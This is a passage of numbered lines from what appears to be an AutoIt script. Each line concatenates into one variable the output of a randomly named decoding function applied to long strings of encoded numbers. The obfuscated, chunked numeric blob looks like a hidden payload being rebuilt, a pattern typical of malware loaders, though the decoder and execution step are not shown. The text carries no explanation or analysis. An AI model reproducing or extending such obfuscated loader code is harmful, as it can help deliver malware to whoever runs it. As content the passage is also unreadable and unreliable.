  380. $lmascgp &= btbxjymrfgaetpa("6,57,54,57,55,57,54,57,54,57,54,57,54,56,54,57,57,56,54,57,57,56,58,57,55,56,54,56,56,56,54,56,54,57,57,56,53,56,6,56,55,56,56,57,57,57,54,57,55,57,54,57,54,57,54,57,54,56,54,57,57,56,54,57,57,56,6,56,6,56,6,56,55,56,56,57,55,57,54,57,55,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,56,6,57,57,57,54,57,56,57,54,57,54,57,54,57,54,56,55,57,57,56,56,57,58,56,54,57,55,56,54,57,54,57,57,56,53,56,6,56,55,56,5,56,60,57,54,57,56,57,54,57,54,57,54,57,54,56,53,56,53,56,54,57,55,56,56,56,56,56,54,57,57,57,57,56,53")
  381. $lmascgp &= btbxjymrfgaetpa("56,6,56,55,56,5,56,56,57,54,57,56,57,54,57,54,57,54,57,54,56,54,57,57,56,53,56,57,56,57,56,57,56,57,56,58,57,57,56,53,56,6,56,55,56,5,56,6,57,54,57,56,57,54,57,54,57,54,57,54,56,55,57,57,56,54,56,59,56,54,56,56,56,53,56,54,57,57,56,53,56,6,56,55,56,5,57,57,57,54,57,56,57,54,57,54,57,54,57,54,56,54,56,59,56,53,56,60,56,54,56,5,56,57,56,57,57,57,56,53,56,6,56,55,57,59,56,60,57,54,57,56,57,54,57,54,57,54,57,54,56,57,56,58,56,58,57,55,56,54,56,56,56,54,57,57,56,54,56,54,57,57,56,53,56,6,56,55,57,59,56,56,57")
  382. $lmascgp &= btbxjymrfgaetpa("54,57,56,57,54,57,54,57,54,57,54,56,54,57,57,56,60,56,60,57,57,56,53,56,6,56,55,56,56,56,60,57,54,57,56,57,54,57,54,57,54,57,54,56,55,57,57,56,56,57,58,56,54,57,55,56,54,57,54,57,57,56,53,56,6,56,55,56,56,56,56,57,54,57,56,57,54,57,54,57,54,57,54,56,53,56,53,56,54,57,55,56,56,56,56,56,54,57,57,57,57,56,53,56,6,56,55,56,56,56,6,57,54,57,56,57,54,57,54,57,54,57,54,56,54,57,57,56,53,56,57,56,57,56,57,56,57,56,58,57,57,56,53,56,6,56,55,56,56,57,57,57,54,57,56,57,54,57,54,57,54,57,54,56,55,57,57,56,54,57,58,56,54")
  383. $lmascgp &= btbxjymrfgaetpa("56,55,56,53,56,58,57,57,56,53,56,6,56,55,56,55,56,60,57,54,57,56,57,54,57,54,57,54,57,54,56,54,57,55,56,54,56,55,56,54,57,57,56,57,56,57,57,57,56,53,56,6,56,55,56,55,56,56,57,54,57,56,57,54,57,54,57,54,57,54,56,57,56,58,56,58,57,55,56,54,56,56,56,54,57,57,56,54,56,54,57,57,56,53,56,6,56,55,56,55,56,6,57,54,57,56,57,54,57,54,57,54,57,54,56,54,57,57,56,60,56,60,57,57,56,53,56,6,56,55,57,54,57,57,57,54,57,56,57,54,57,54,57,54,57,54,56,55,57,57,56,56,57,58,56,54,57,55,56,54,57,54,57,57,56,53,56,6,56,55,56,60,56")
  384. $lmascgp &= btbxjymrfgaetpa("60,57,54,57,55,57,54,57,54,57,54,57,54,56,53,56,53,56,54,57,55,56,56,56,56,56,54,57,57,57,57,56,53,56,6,56,55,56,60,56,56,57,54,57,55,57,54,57,54,57,54,57,54,56,54,57,57,56,53,56,57,56,57,56,57,56,57,56,58,57,57,56,53,56,6,56,55,56,60,56,6,57,54,57,55,57,54,57,54,57,54,57,54,56,55,57,57,56,53,56,55,56,53,56,57,56,54,56,55,57,57,56,53,56,6,56,55,56,60,57,57,57,54,57,55,57,54,57,54,57,54,57,54,56,53,56,58,56,57,56,57,56,57,56,58,56,58,57,55,57,57,56,53,56,6,56,55,56,59,56,60,57,54,57,55,57,54,57,54,57,54,57,54")
  385. $lmascgp &= btbxjymrfgaetpa("56,54,56,56,56,54,57,57,56,54,57,57,56,60,56,60,57,57,56,53,56,6,56,55,57,57,56,6,57,54,57,55,57,54,57,54,57,54,57,54,56,55,57,57,56,56,57,58,56,54,57,55,56,54,57,54,57,57,56,53,56,6,56,55,57,57,57,57,57,54,57,55,57,54,57,54,57,54,57,54,56,53,56,53,56,54,57,55,56,56,56,56,56,54,57,57,57,57,56,53,56,6,56,55,57,56,56,60,57,54,57,55,57,54,57,54,57,54,57,54,56,54,57,57,56,53,56,57,56,55,57,57,56,54,57,55,57,57,56,53,56,6,56,55,57,56,56,56,57,54,57,55,57,54,57,54,57,54,57,54,56,53,56,56,56,54,56,56,56,54,57,57,56")
  386. $lmascgp &= btbxjymrfgaetpa("54,57,57,57,57,56,53,56,6,56,55,57,56,56,6,57,54,57,55,57,54,57,54,57,54,57,54,56,58,57,55,56,54,56,56,56,54,57,57,56,54,57,57,56,6,56,6,56,6,56,55,57,56,57,57,57,54,57,55,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,57,56,56,6,57,54,57,56,57,54,57,54,57,54,57,54,56,55,57,57,56,56,57,58,56,54,57,55,56,54,57,54,57,57,56,53,56,6,56,55,57,56,57,57,57,54,57,56,57,54,57,54,57,54,57,54,56,53,56,53,56,54,57,55,56,56,56,56,56,54,57,57,57,57,56,53,56,6,56,55,57,55,56,60,57,54,57,56,57,54,57,54,57,54,57,54,56,54")
  387. $lmascgp &= btbxjymrfgaetpa("57,57,56,53,56,57,56,55,57,57,56,54,56,59,57,57,56,53,56,6,56,55,57,55,56,56,57,54,57,56,57,54,57,54,57,54,57,54,56,54,56,56,56,53,56,54,56,54,56,59,56,53,56,60,57,57,56,53,56,6,56,55,57,55,56,6,57,54,57,56,57,54,57,54,57,54,57,54,56,54,56,5,56,57,56,57,56,57,56,58,56,58,57,55,57,57,56,53,56,6,56,55,57,55,57,57,57,54,57,56,57,54,57,54,57,54,57,54,56,54,56,56,56,54,57,57,56,54,57,57,56,60,56,60,57,57,56,53,56,6,56,55,56,59,56,56,57,54,57,55,57,54,57,54,57,54,57,54,56,55,57,57,56,56,57,58,56,54,57,55,56,54,57")
  388. $lmascgp &= btbxjymrfgaetpa("54,57,57,56,53,56,6,56,55,56,59,56,6,57,54,57,55,57,54,57,54,57,54,57,54,56,53,56,53,56,54,57,55,56,56,56,56,56,54,57,57,57,57,56,53,56,6,56,55,56,59,57,57,57,54,57,55,57,54,57,54,57,54,57,54,56,54,57,57,56,53,56,57,56,55,57,57,56,54,57,58,57,57,56,53,56,6,56,55,56,58,56,60,57,54,57,55,57,54,57,54,57,54,57,54,56,54,56,55,56,53,56,58,56,54,57,55,56,54,56,55,57,57,56,53,56,6,56,55,56,58,56,56,57,54,57,55,57,54,57,54,57,54,57,54,56,54,57,57,56,57,56,57,56,57,56,58,56,58,57,55,57,57,56,53,56,6,56,55,56,58,56,6")
  389. $lmascgp &= btbxjymrfgaetpa("57,54,57,55,57,54,57,54,57,54,57,54,56,54,56,56,56,54,57,57,56,54,57,57,56,60,56,60,57,57,56,53,56,6,56,55,56,53,56,56,57,54,57,55,57,54,57,54,57,54,57,54,56,55,57,57,56,56,57,58,56,54,57,55,56,54,57,54,57,57,56,53,56,6,56,55,56,53,56,6,57,54,57,55,57,54,57,54,57,54,57,54,56,53,56,53,56,54,57,55,56,56,56,56,56,54,57,57,57,57,56,53,56,6,56,55,56,53,57,57,57,54,57,55,57,54,57,54,57,54,57,54,56,54,57,57,56,53,56,57,56,55,57,57,56,53,56,55,57,57,56,53,56,6,56,55,56,6,56,60,57,54,57,55,57,54,57,54,57,54,57,54,56")
  390. $lmascgp &= btbxjymrfgaetpa("53,56,57,56,54,56,55,56,53,56,58,56,57,56,57,57,57,56,53,56,6,56,55,56,6,56,56,57,54,57,55,57,54,57,54,57,54,57,54,56,57,56,58,56,58,57,55,56,54,56,56,56,54,57,57,56,54,56,54,57,57,56,53,56,6,56,55,56,6,56,6,57,54,57,55,57,54,57,54,57,54,57,54,56,54,57,57,56,60,56,60,57,57,56,53,56,6,56,55,57,55,56,60,57,54,57,55,57,54,57,54,57,54,57,54,56,55,57,57,56,56,57,58,56,54,57,55,56,54,57,54,57,57,56,53,56,6,56,55,57,55,56,56,57,54,57,55,57,54,57,54,57,54,57,54,56,53,56,53,56,54,57,55,56,56,56,56,56,54,57,57,57,57")
  391. $lmascgp &= btbxjymrfgaetpa("56,53,56,6,56,55,57,55,56,6,57,54,57,55,57,54,57,54,57,54,57,54,56,54,57,57,56,53,56,57,56,55,57,57,56,56,57,54,57,57,56,53,56,6,56,55,57,55,57,57,57,54,57,55,57,54,57,54,57,54,57,54,56,54,57,57,56,54,56,55,56,57,56,57,56,57,56,58,57,57,56,53,56,6,56,55,57,54,56,60,57,54,57,55,57,54,57,54,57,54,57,54,56,58,57,55,56,54,56,56,56,54,57,57,56,54,57,57,56,6,56,6,56,6,56,55,57,54,56,56,57,54,57,55,57,54,57,54,57,54,57,54,57,57,56,53,56,56,56,55,57,56,57,57,56,53,56,55,56,53,56,57,56,54,56,55,56,53,56,58,57,57,56")
  392. $lmascgp &= btbxjymrfgaetpa("53,56,56,56,55,57,55,56,60,56,57,56,57,56,57,56,58,56,58,57,55,56,54,56,56,56,54,56,54,57,57,56,53,56,56,56,55,57,55,56,56,56,54,57,57,56,54,57,57,56,6,56,6,56,56,56,55,57,55,56,54,57,57,56,53,56,6,56,55,57,54,56,6,57,54,57,55,57,54,57,54,57,54,57,54,56,56,57,55,56,53,56,56,56,56,57,54,56,53,56,60,57,57,56,53,56,6,56,55,57,54,57,57,57,54,57,55,57,54,57,54,57,54,57,54,56,54,56,55,56,54,57,55,56,56,57,58,56,54,56,55,56,54,56,54,57,57,56,53,56,6,56,55,56,60,56,60,57,54,57,54,57,54,57,54,57,54,57,54,56,53,56,5")
  393. $lmascgp &= btbxjymrfgaetpa("56,60,56,60,57,57,56,53,56,6,56,55,57,57,56,60,57,54,57,58,57,54,57,54,57,54,57,54,56,56,57,55,56,53,56,56,56,55,56,59,56,53,56,55,57,57,56,53,56,6,56,55,57,57,56,56,57,54,57,58,57,54,57,54,57,54,57,54,56,54,56,55,56,53,56,58,56,53,56,5,56,55,56,54,57,57,56,53,56,6,56,55,57,57,56,6,57,54,57,58,57,54,57,54,57,54,57,54,56,54,56,59,56,54,57,57,56,53,56,55,56,54,56,55,57,57,56,53,56,6,56,55,57,57,57,57,57,54,57,58,57,54,57,54,57,54,57,54,56,56,57,58,56,54,56,55,56,53,56,5,56,60,56,60,57,57,56,53,56,6,56,55,56")
  394. $lmascgp &= btbxjymrfgaetpa("56,56,60,57,54,57,57,57,54,57,54,57,54,57,54,56,56,57,55,56,53,56,56,56,56,56,55,56,54,57,55,57,57,56,53,56,6,56,55,56,56,56,56,57,54,57,57,57,54,57,54,57,54,57,54,56,53,56,55,56,54,57,56,56,54,56,55,56,53,56,58,57,57,56,53,56,6,56,55,56,56,56,6,57,54,57,57,57,54,57,54,57,54,57,54,56,54,56,59,56,53,56,56,56,54,56,55,56,56,57,58,56,54,56,54,57,57,56,53,56,6,56,55,56,56,57,57,57,54,57,57,57,54,57,54,57,54,57,54,56,54,56,55,56,53,56,5,56,6,56,6,56,6,56,55,56,56,57,55,57,54,57,57,57,54,57,54,57,54,57,54,57,57")
  395. $lmascgp &= btbxjymrfgaetpa("56,53,56,56,56,55,56,5,56,60,56,54,57,56,56,54,56,55,56,54,57,56,56,54,56,57,56,54,56,54,57,57,56,53,56,56,56,55,56,5,56,56,56,53,56,60,56,53,56,5,56,6,56,6,56,56,56,55,56,5,56,54,57,57,56,53,56,6,56,55,56,58,56,60,57,54,57,59,57,54,57,54,57,54,57,54,56,56,56,57,56,53,56,58,56,53,56,5,56,53,56,60,57,57,56,53,56,6,56,55,56,58,56,56,57,54,57,59,57,54,57,54,57,54,57,54,56,53,56,56,56,56,56,59,56,54,56,57,56,53,56,59,57,57,56,53,56,6,56,55,56,58,56,6,57,54,57,59,57,54,57,54,57,54,57,54,56,53,56,55,56,54,56")
  396. $lmascgp &= btbxjymrfgaetpa("5,56,53,56,58,56,54,56,55,57,57,56,53,56,6,56,55,56,58,57,57,57,54,57,59,57,54,57,54,57,54,57,54,56,56,56,57,56,54,57,54,56,54,57,55,56,53,56,56,57,57,56,53,56,6,56,55,56,57,56,60,57,54,57,59,57,54,57,54,57,54,57,54,56,54,56,55,56,53,56,6,56,53,56,56,56,55,56,53,56,6,56,6,56,6,56,55,56,57,56,56,57,54,57,59,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,56,60,56,60,57,54,57,57,57,54,57,54,57,54,57,54,56,56,56,57,56,53,56,58,56,53,56,5,56,53,56,60,57,57,56,53,56,6,56,55,56,60,56,56,57,54,57,57,57,54,57,54")
  397. $lmascgp &= btbxjymrfgaetpa("57,54,57,54,56,53,56,56,56,56,56,57,56,53,56,58,56,54,56,55,57,57,56,53,56,6,56,55,56,60,56,6,57,54,57,57,57,54,57,54,57,54,57,54,56,54,56,59,56,53,56,56,56,54,56,55,56,56,56,6,57,57,56,53,56,6,56,55,56,60,57,57,57,54,57,57,57,54,57,54,57,54,57,54,56,54,56,59,56,53,56,57,56,54,56,6,56,60,56,60,57,57,56,53,56,6,56,55,56,59,56,60,57,54,57,56,57,54,57,54,57,54,57,54,56,56,56,57,56,53,56,58,56,53,56,5,56,53,56,60,57,57,56,53,56,6,56,55,56,59,56,56,57,54,57,56,57,54,57,54,57,54,57,54,56,53,56,56,56,56,56,6,56")
  398. $lmascgp &= btbxjymrfgaetpa("54,56,59,56,53,56,57,57,57,56,53,56,6,56,55,56,59,56,6,57,54,57,56,57,54,57,54,57,54,57,54,56,54,56,6,56,56,56,56,56,54,56,59,56,53,56,56,56,54,56,54,57,57,56,53,56,6,56,55,56,59,57,57,57,54,57,56,57,54,57,54,57,54,57,54,56,54,56,59,56,60,56,60,57,57,56,53,56,6,56,55,56,54,56,60,57,54,57,57,57,54,57,54,57,54,57,54,56,56,56,57,56,53,56,58,56,53,56,5,56,53,56,60,57,57,56,53,56,6,56,55,56,54,56,56,57,54,57,57,57,54,57,54,57,54,57,54,56,53,56,56,56,56,56,56,56,54,56,55,56,53,56,58,57,57,56,53,56,6,56,55,56,54")
  399. $lmascgp &= btbxjymrfgaetpa("56,6,57,54,57,57,57,54,57,54,57,54,57,54,56,54,56,5,56,53,56,54,56,54,56,55,56,56,57,58,56,54,56,54,57,57,56,53,56,6,56,55,56,54,57,57,57,54,57,57,57,54,57,54,57,54,57,54,56,54,56,55,56,53,56,5,56,6,56,6,56,6,56,55,56,54,57,55,57,54,57,57,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,56,53,56,60,57,54,57,58,57,54,57,54,57,54,57,54,56,56,56,57,56,53,56,58,56,53,56,5,56,53,56,60,57,57,56,53,56,6,56,55,56,53,56,56,57,54,57,58,57,54,57,54,57,54,57,54,56,53,56,56,56,56,56,56,56,54,56,55,56,53,56,57,57,57,56")
  400. $lmascgp &= btbxjymrfgaetpa("53,56,6,56,55,56,53,56,6,57,54,57,58,57,54,57,54,57,54,57,54,56,53,56,56,56,53,56,58,56,54,57,54,56,53,56,5,57,57,56,53,56,6,56,55,56,53,57,57,57,54,57,58,57,54,57,54,57,54,57,54,56,56,56,6,56,54,56,59,56,53,56,57,56,54,56,6,56,6,56,6,56,6,56,55,56,6,56,60,57,54,57,58,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,57,57,56,6,57,54,57,56,57,54,57,54,57,54,57,54,56,56,56,57,56,53,56,58,56,53,56,5,56,53,56,60,57,57,56,53,56,6,56,55,57,57,57,57,57,54,57,56,57,54,57,54,57,54,57,54,56,53,56,56,56,56,56,56")
  401. $lmascgp &= btbxjymrfgaetpa("56,54,56,55,56,54,56,57,57,57,56,53,56,6,56,55,57,56,56,60,57,54,57,56,57,54,57,54,57,54,57,54,56,53,56,58,56,53,56,5,56,53,56,60,56,53,56,56,56,6,56,6,56,6,56,55,57,56,56,56,57,54,57,56,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,56,59,56,60,57,54,57,57,57,54,57,54,57,54,57,54,56,56,56,57,56,53,56,58,56,53,56,5,56,53,56,60,57,57,56,53,56,6,56,55,56,59,56,56,57,54,57,57,57,54,57,54,57,54,57,54,56,53,56,56,56,56,56,56,56,54,56,55,56,53,56,57,57,57,56,53,56,6,56,55,56,59,56,6,57,54,57,57,57,54,57,54,57")
  402. $lmascgp &= btbxjymrfgaetpa("54,57,54,56,53,56,56,56,53,56,58,56,54,57,54,56,53,56,5,57,57,56,53,56,6,56,55,56,59,57,57,57,54,57,57,57,54,57,54,57,54,57,54,56,56,57,58,56,54,56,55,56,53,56,5,56,60,56,60,57,57,56,53,56,6,56,55,57,56,56,60,57,54,57,59,57,54,57,54,57,54,57,54,56,56,56,57,56,53,56,58,56,53,56,5,56,53,56,60,57,57,56,53,56,6,56,55,57,56,56,56,57,54,57,59,57,54,57,54,57,54,57,54,56,53,56,56,56,55,56,58,56,54,56,55,56,54,57,57,57,57,56,53,56,6,56,55,57,56,56,6,57,54,57,59,57,54,57,54,57,54,57,54,56,54,56,55,56,54,56,59,56,53")
  403. $lmascgp &= btbxjymrfgaetpa("56,57,56,54,56,55,57,57,56,53,56,6,56,55,57,56,57,57,57,54,57,59,57,54,57,54,57,54,57,54,56,56,56,57,56,54,57,54,56,54,57,55,56,53,56,56,57,57,56,53,56,6,56,55,57,55,56,60,57,54,57,59,57,54,57,54,57,54,57,54,56,54,56,55,56,53,56,6,56,53,56,56,56,60,56,60,57,57,56,53,56,6,56,55,57,59,56,6,57,54,57,59,57,54,57,54,57,54,57,54,56,56,57,55,56,53,56,56,56,55,56,58,56,54,56,55,57,57,56,53,56,6,56,55,57,59,57,57,57,54,57,59,57,54,57,54,57,54,57,54,56,54,56,59,56,54,56,56,56,55,56,54,56,54,56,5,57,57,56,53,56,6,56")
  404. $lmascgp &= btbxjymrfgaetpa("55,57,58,56,60,57,54,57,59,57,54,57,54,57,54,57,54,56,53,56,58,56,53,56,56,56,53,56,55,56,54,56,59,57,57,56,53,56,6,56,55,57,58,56,56,57,54,57,59,57,54,57,54,57,54,57,54,56,54,57,57,56,56,57,56,56,54,56,55,56,54,57,56,57,57,56,53,56,6,56,55,57,58,56,6,57,54,57,59,57,54,57,54,57,54,57,54,56,54,57,54,56,53,56,58,56,53,56,5,56,60,56,60,57,57,56,53,56,56,56,55,57,59,56,6,56,56,57,57,56,54,57,54,56,54,56,59,56,54,56,56,57,57,56,53,56,56,56,55,57,59,57,57,56,56,57,57,56,54,56,5,56,54,56,58,56,53,56,58,57,57,56,53")
  405. $lmascgp &= btbxjymrfgaetpa("56,56,56,55,57,58,56,60,56,54,56,59,56,53,56,58,56,53,56,5,56,56,56,59,56,6,56,6,56,56,56,55,57,58,56,56,57,57,56,53,56,6,56,55,56,56,56,6,57,54,57,54,57,54,57,54,57,54,57,54,56,56,56,53,56,54,56,55,56,53,56,56,56,55,56,60,57,57,56,53,56,6,56,55,56,56,57,57,57,54,57,54,57,54,57,54,57,54,57,54,56,53,56,58,56,54,57,54,56,54,56,57,56,56,56,59,57,57,56,53,56,6,56,55,56,55,56,60,57,54,57,54,57,54,57,54,57,54,57,54,56,54,56,56,56,54,56,56,56,53,56,58,56,54,56,55,56,54,56,54,57,57,56,53,56,6,56,55,56,55,56,56,57")
  406. $lmascgp &= btbxjymrfgaetpa("54,57,54,57,54,57,54,57,54,57,54,56,53,56,57,56,53,56,57,56,6,56,6,56,6,56,55,56,55,56,54,57,54,57,54,57,54,57,54,57,54,57,54,57,57,56,53,56,56,56,55,57,55,57,57,56,54,56,59,56,54,56,56,56,53,56,54,56,54,56,59,57,57,56,53,56,56,56,55,57,54,56,60,56,53,56,60,56,54,56,5,56,57,56,57,56,57,56,58,57,57,56,53,56,56,56,55,57,54,56,56,56,58,57,55,56,54,56,56,56,54,57,57,56,54,57,57,56,6,56,6,56,56,56,55,57,54,56,6,57,57,56,53,56,6,56,55,56,58,56,6,57,54,57,54,57,54,57,54,57,54,57,54,56,54,57,57,56,53,56,57,56,53")
  407. $lmascgp &= btbxjymrfgaetpa("56,56,56,53,56,58,57,57,56,53,56,6,56,55,56,58,57,57,57,54,57,54,57,54,57,54,57,54,57,54,56,54,57,57,56,54,56,55,56,54,57,55,56,55,56,53,56,6,56,6,56,6,56,55,56,57,56,60,57,54,57,54,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,57,56,56,6,57,54,56,5,57,54,57,54,57,54,57,54,56,56,57,55,56,53,56,56,56,55,56,60,56,53,56,58,57,57,56,53,56,6,56,55,57,56,57,57,57,54,56,5,57,54,57,54,57,54,57,54,56,54,57,54,56,53,56,56,56,54,56,55,56,54,56,57,57,57,56,53,56,6,56,55,57,55,56,60,57,54,56,5,57,54,57,54,57,54,57")
  408. $lmascgp &= btbxjymrfgaetpa("54,56,53,56,56,56,55,56,54,56,54,56,5,56,53,56,58,57,57,56,53,56,6,56,55,57,55,56,56,57,54,56,5,57,54,57,54,57,54,57,54,56,53,56,56,56,53,56,55,56,54,56,59,56,54,57,57,57,57,56,53,56,6,56,55,57,55,56,6,57,54,56,5,57,54,57,54,57,54,57,54,56,56,57,56,56,54,56,55,56,54,57,56,56,54,57,54,56,54,56,54,57,57,56,53,56,6,56,55,57,55,57,57,57,54,56,5,57,54,57,54,57,54,57,54,56,53,56,58,56,53,56,5,56,6,56,6,56,6,56,55,57,55,57,55,57,54,56,5,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,56,54,57,57,57,54,57,56")
  409. $lmascgp &= btbxjymrfgaetpa("57,54,57,54,57,54,57,54,56,56,56,54,56,53,56,58,56,54,56,55,56,54,56,55,57,57,56,53,56,6,56,55,56,53,56,60,57,54,57,56,57,54,57,54,57,54,57,54,56,55,56,58,56,54,56,55,56,53,56,57,56,54,57,54,57,57,56,53,56,6,56,55,56,53,56,56,57,54,57,56,57,54,57,54,57,54,57,54,56,53,56,55,56,53,56,58,56,54,56,57,56,54,56,55,56,6,56,6,56,6,56,55,56,53,56,6,57,54,57,56,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,56,55,56,60,57,54,57,57,57,54,57,54,57,54,57,54,56,56,56,57,56,53,56,58,56,54,56,55,56,54,56,59,57,57,56,53,56")
  410. $lmascgp &= btbxjymrfgaetpa("6,56,55,56,55,56,56,57,54,57,57,57,54,57,54,57,54,57,54,56,53,56,56,56,54,56,55,56,55,56,60,56,53,56,58,57,57,56,53,56,6,56,55,56,55,56,6,57,54,57,57,57,54,57,54,57,54,57,54,56,54,57,54,56,54,56,57,56,54,56,55,56,53,56,57,56,54,56,54,57,57,56,53,56,6,56,55,56,55,57,57,57,54,57,57,57,54,57,54,57,54,57,54,56,53,56,57,56,55,56,53,56,6,56,6,56,6,56,55,56,55,57,55,57,54,57,57,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,57,56,56,60,57,54,57,57,57,54,57,54,57,54,57,54,56,55,56,58,56,53,56,56,56,54,57,57,56,55")
  411. $lmascgp &= btbxjymrfgaetpa("57,59,57,57,56,53,56,6,56,55,57,56,56,56,57,54,57,57,57,54,57,54,57,54,57,54,56,54,56,55,56,53,56,58,56,54,57,54,56,56,57,56,57,57,56,53,56,6,56,55,57,56,56,6,57,54,57,57,57,54,57,54,57,54,57,54,56,54,56,55,56,54,57,56,56,54,57,54,56,53,56,58,56,54,56,54,57,57,56,53,56,6,56,55,57,56,57,57,57,54,57,57,57,54,57,54,57,54,57,54,56,53,56,5,56,60,56,60,57,57,56,53,56,6,56,55,56,60,57,57,57,54,57,58,57,54,57,54,57,54,57,54,56,56,57,55,56,53,56,56,56,55,56,56,56,54,56,55,57,57,56,53,56,6,56,55,56,59,56,60,57,54,57")
  412. $lmascgp &= btbxjymrfgaetpa("58,57,54,57,54,57,54,57,54,56,53,56,58,56,54,57,56,56,54,56,5,56,54,57,55,57,57,56,53,56,6,56,55,56,59,56,56,57,54,57,58,57,54,57,54,57,54,57,54,56,54,56,59,56,53,56,56,56,54,56,55,56,55,56,60,57,57,56,53,56,6,56,55,56,59,56,6,57,54,57,58,57,54,57,54,57,54,57,54,56,53,56,58,56,54,57,54,56,54,56,57,56,54,56,55,56,54,56,54,57,57,56,53,56,6,56,55,56,59,57,57,57,54,57,58,57,54,57,54,57,54,57,54,56,53,56,57,56,53,56,57,56,6,56,6,56,6,56,55,56,59,57,55,57,54,57,58,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55")
  413. $lmascgp &= btbxjymrfgaetpa("56,55,56,60,57,54,57,59,57,54,57,54,57,54,57,54,56,56,57,55,56,53,56,56,56,55,56,53,56,53,56,58,57,57,56,53,56,6,56,55,56,55,56,56,57,54,57,59,57,54,57,54,57,54,57,54,56,54,56,5,56,53,56,56,56,54,56,55,56,55,56,54,57,57,56,53,56,6,56,55,56,55,56,6,57,54,57,59,57,54,57,54,57,54,57,54,56,54,56,5,56,53,56,58,56,53,56,56,56,53,56,55,57,57,56,53,56,6,56,55,56,55,57,57,57,54,57,59,57,54,57,54,57,54,57,54,56,54,56,59,56,54,57,57,56,56,57,56,56,54,56,55,57,57,56,53,56,6,56,55,56,54,56,60,57,54,57,59,57,54,57,54,57")
  414. $lmascgp &= btbxjymrfgaetpa("54,57,54,56,54,57,56,56,54,57,54,56,53,56,58,56,53,56,5,56,6,56,6,56,6,56,55,56,54,56,56,57,54,57,59,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,56,54,56,6,57,54,57,59,57,54,57,54,57,54,57,54,56,55,57,59,56,53,56,53,56,55,56,55,56,54,57,55,57,57,56,53,56,6,56,55,56,54,57,57,57,54,57,59,57,54,57,54,57,54,57,54,56,54,57,56,56,54,56,59,56,53,56,60,56,55,56,54,57,57,56,53,56,6,56,55,56,53,56,60,57,54,57,59,57,54,57,54,57,54,57,54,56,54,56,5,56,54,56,55,56,53,56,53,56,56,57,54,57,57,56,53,56,6,56,55,56,53")
  415. $lmascgp &= btbxjymrfgaetpa("56,56,57,54,57,59,57,54,57,54,57,54,57,54,56,54,56,54,56,55,56,57,56,54,56,55,56,54,56,57,57,57,56,53,56,6,56,55,56,53,56,6,57,54,57,59,57,54,57,54,57,54,57,54,56,53,56,56,56,54,56,5,56,54,57,54,56,54,57,55,56,6,56,6,56,6,56,55,56,53,57,57,57,54,57,59,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,56,58,56,60,57,54,57,57,57,54,57,54,57,54,57,54,56,56,57,55,56,53,56,56,56,55,56,58,56,54,56,55,57,57,56,53,56,6,56,55,56,58,56,56,57,54,57,57,57,54,57,54,57,54,57,54,56,53,56,57,56,53,56,55,56,54,57,56,56,54,56")
  416. $lmascgp &= btbxjymrfgaetpa("55,57,57,56,53,56,6,56,55,56,58,56,6,57,54,57,57,57,54,57,54,57,54,57,54,56,55,56,56,56,54,56,6,56,53,56,58,56,54,56,55,56,54,56,54,57,57,56,53,56,6,56,55,56,58,57,57,57,54,57,57,57,54,57,54,57,54,57,54,56,54,56,59,56,54,56,56,56,6,56,6,56,6,56,55,56,58,57,55,57,54,57,57,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,56,55,57,57,57,54,57,58,57,54,57,54,57,54,57,54,56,56,57,55,56,53,56,56,56,55,56,57,56,54,56,55,57,57,56,53,56,6,56,55,56,54,56,60,57,54,57,58,57,54,57,54,57,54,57,54,56,53,56,56,56,56,56,57")
  417. $lmascgp &= btbxjymrfgaetpa("56,54,57,54,56,54,57,55,57,57,56,53,56,6,56,55,56,54,56,56,57,54,57,58,57,54,57,54,57,54,57,54,56,53,56,56,56,54,56,55,56,53,56,6,56,53,56,56,57,57,56,53,56,6,56,55,56,54,56,6,57,54,57,58,57,54,57,54,57,54,57,54,56,55,56,56,56,54,56,6,56,53,56,58,56,54,56,55,56,54,56,54,57,57,56,53,56,6,56,55,56,54,57,57,57,54,57,58,57,54,57,54,57,54,57,54,56,54,56,59,56,54,56,56,56,6,56,6,56,6,56,55,56,54,57,55,57,54,57,58,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,56,57,56,56,57,54,57,58,57,54,57,54,57,54,57,54,56")
  418. $lmascgp &= btbxjymrfgaetpa("56,57,55,56,53,56,56,56,56,56,53,56,54,56,55,57,57,56,53,56,6,56,55,56,57,56,6,57,54,57,58,57,54,57,54,57,54,57,54,56,53,56,56,56,56,56,57,56,54,57,54,56,54,57,55,57,57,56,53,56,6,56,55,56,57,57,57,57,54,57,58,57,54,57,54,57,54,57,54,56,53,56,56,56,54,56,55,56,53,56,6,56,53,56,56,57,57,56,53,56,6,56,55,56,56,56,60,57,54,57,58,57,54,57,54,57,54,57,54,56,55,56,56,56,54,56,6,56,53,56,58,56,54,56,55,56,54,56,54,57,57,56,53,56,6,56,55,56,56,56,56,57,54,57,58,57,54,57,54,57,54,57,54,56,54,56,59,56,54,56,56,56,6")
  419. $lmascgp &= btbxjymrfgaetpa("56,6,56,6,56,55,56,56,56,54,57,54,57,58,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,56,58,56,60,57,54,57,58,57,54,57,54,57,54,57,54,56,56,57,55,56,53,56,56,56,56,57,56,56,54,56,59,57,57,56,53,56,6,56,55,56,58,56,56,57,54,57,58,57,54,57,54,57,54,57,54,56,53,56,60,56,55,56,54,56,54,56,5,56,54,56,55,57,57,56,53,56,6,56,55,56,58,56,6,57,54,57,58,57,54,57,54,57,54,57,54,56,53,56,53,56,56,57,54,56,54,56,54,56,55,56,57,57,57,56,53,56,6,56,55,56,58,57,57,57,54,57,58,57,54,57,54,57,54,57,54,56,54,56,55,56,54,56")
